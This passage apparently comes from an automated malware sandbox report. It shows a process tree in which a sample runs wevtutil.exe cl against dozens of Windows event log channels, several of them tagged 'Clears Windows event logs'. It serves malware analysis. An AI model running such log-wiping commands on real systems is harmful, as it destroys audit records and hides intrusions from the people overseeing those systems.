                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1712
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                        PID:2576
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"
                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:2100
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2960
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"
                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:2388
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1656
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-NDIS/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1596
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1708
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1248
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-NetShell/Performance"
                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2596
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2788
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC"
                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2992
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1312
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:864
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2268
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2896
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2612
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1144
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2496
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-OOBE-Machine/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1160
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2220
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2764
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"
                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2728
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1696
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2520
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2528
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1940
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-PeerToPeerDrtEventProvider/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1740
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1184
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2736
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Power Settings
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2580
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1280
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2272
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2752
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:484
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-PrimaryNetworkIcon/Performance"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2044
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-PrintService/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-PrintService/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-QoS-Pacer/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-QoS-qWAVE/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-RPC-Proxy/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-RPC/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-RPC/EEInfo"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Recovery/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Tracing"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Remotefs-UTProvider/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-ResourcePublication/Tracing"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Search-Core/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Search-ProtocolHandlers/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Security-IdentityListener/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Security-SPP/Perf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Sens/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-ServiceReportingApi/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Services-Svchost/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Services/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Setup/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
